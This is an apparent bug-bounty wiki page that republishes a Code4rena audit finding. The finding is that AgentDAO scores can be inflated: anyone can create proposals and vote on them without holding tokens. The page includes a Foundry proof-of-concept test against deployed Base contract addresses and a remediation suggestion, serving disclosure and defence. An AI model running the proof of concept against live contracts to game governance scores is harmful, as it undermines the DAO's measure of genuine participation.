Score in AgentDAO is not an accurate measure and can be artificially inflated by spamming proposals
The AgentDAO contract increases a user's score whenever they vote on a proposal, but since anyone can create a proposal and voting requires no tokens, an attacker can spam dummy proposals and vote on them to artificially inflate their score. This undermines the score's reliability as a measure of genuine participation.
BowTiedOriole Follow with kanra and maxzuvex
Originally disclosed on Code4rena
Submitted by BowTiedOriole, also found by kanra and maxzuvex
Finding description and impact
In AgentDAO._castVote(), a user’s score is updated anytime they vote on a proposal. This is a problem because submitting a proposal is permissionless, and the default proposal threshold is 0.
In addition, the user does not even need to hold any veTokens to vote and receive a score.
uint256 weight = super._castVote(proposalId, account, support, reason, params);
if (!votedPreviously && hasVoted(proposalId, account)) {
++_totalScore;
_scores[account].push(SafeCast.toUint48(block.number), SafeCast.toUint208(scoreOf(account)) + 1); // @audit-medium Anybody can create dummy proposal and vote to increase score
if (params.length > 0 && support == 1) {
_updateMaturity(account, proposalId, weight, params);
}
}
Recommended mitigation steps
Score should not be used as a trustworthy parameter as long as submitting proposals is permissionless. Additionally, consider adding a check that weight > 0 before increasing a user’s score.
Proof of Concept
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function mint(address to, uint256 amount) external;
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IAgentToken is IERC20 {
function distributeTaxTokens() external;
function projectTaxPendingSwap() external view returns (uint256);
function projectTaxRecipient() external view returns (address);
function setProjectTaxRecipient(address projectTaxRecipient_) external;
function setSwapThresholdBasisPoints(uint16 swapThresholdBasisPoints_) external;
function setProjectTaxRates(
uint16 newProjectBuyTaxBasisPoints_,
uint16 newProjectSellTaxBasisPoints_
) external;
}
interface IAgentDAO {
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) external returns (uint256 proposalId);
function castVote(uint256 proposalId, uint8 support) external returns (uint256 balance);
function scoreOf(address account) external view returns (uint256);
}
contract DummyProposalPOC is Test {
IAgentToken agentToken = IAgentToken(0x1C4CcA7C5DB003824208aDDA61Bd749e55F463a3);
IAgentDAO agentDAO = IAgentDAO(0x98cb03B06a91e32c45F4173E290732Dc4a8F41c1);
string BASE_RPC_URL = vm.envString("BASE_RPC_URL");
address user = makeAddr("user");
function setUp() public {
uint256 forkId = vm.createFork(BASE_RPC_URL, 29_225_700);
vm.selectFork(forkId);
}
function test_dummy_proposal_to_increase_score() public {
vm.startPrank(user);
// Setup proposal and propose
address[] memory targets = new address[](1);
targets[0] = address(agentToken);
uint256[] memory values = new uint256[](1);
values[0] = 0;
bytes[] memory calldatas = new bytes[](1);
calldatas[0] = abi.encodeWithSelector(IAgentToken.distributeTaxTokens.selector);
string memory description = "Test Proposal";
uint256 proposalId = agentDAO.propose(targets, values, calldatas, description);
vm.roll(block.number + 1);
assertEq(agentDAO.scoreOf(user), 0);
agentDAO.castVote(proposalId, 1);
assertEq(agentDAO.scoreOf(user), 1);
}
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The score is incremented on every vote without checking whether the voter has any voting weight or whether the proposal is legitimate, and proposals can be created freely.
Impact
An attacker could artificially inflate their score, making it an unreliable measure of genuine participation, though the text does not specify any further consequences.
What the attacker needed
None
The fix
The score should not be used as a trustworthy parameter while proposals are permissionless, and a check that weight > 0 should be added before increasing a user's score.
How it was found
- Create a dummy proposal with any target and calldata.
- Advance the block number by one.
- Vote on the proposal with support=1.
- Observe that the user's score increases from 0 to 1.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, a person's 'score' goes up each time they vote on a proposal. But because anyone can create a proposal for free and voting doesn't require owning any special tokens, someone can just make lots of empty proposals and vote on them to boost their score without doing anything meaningful.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.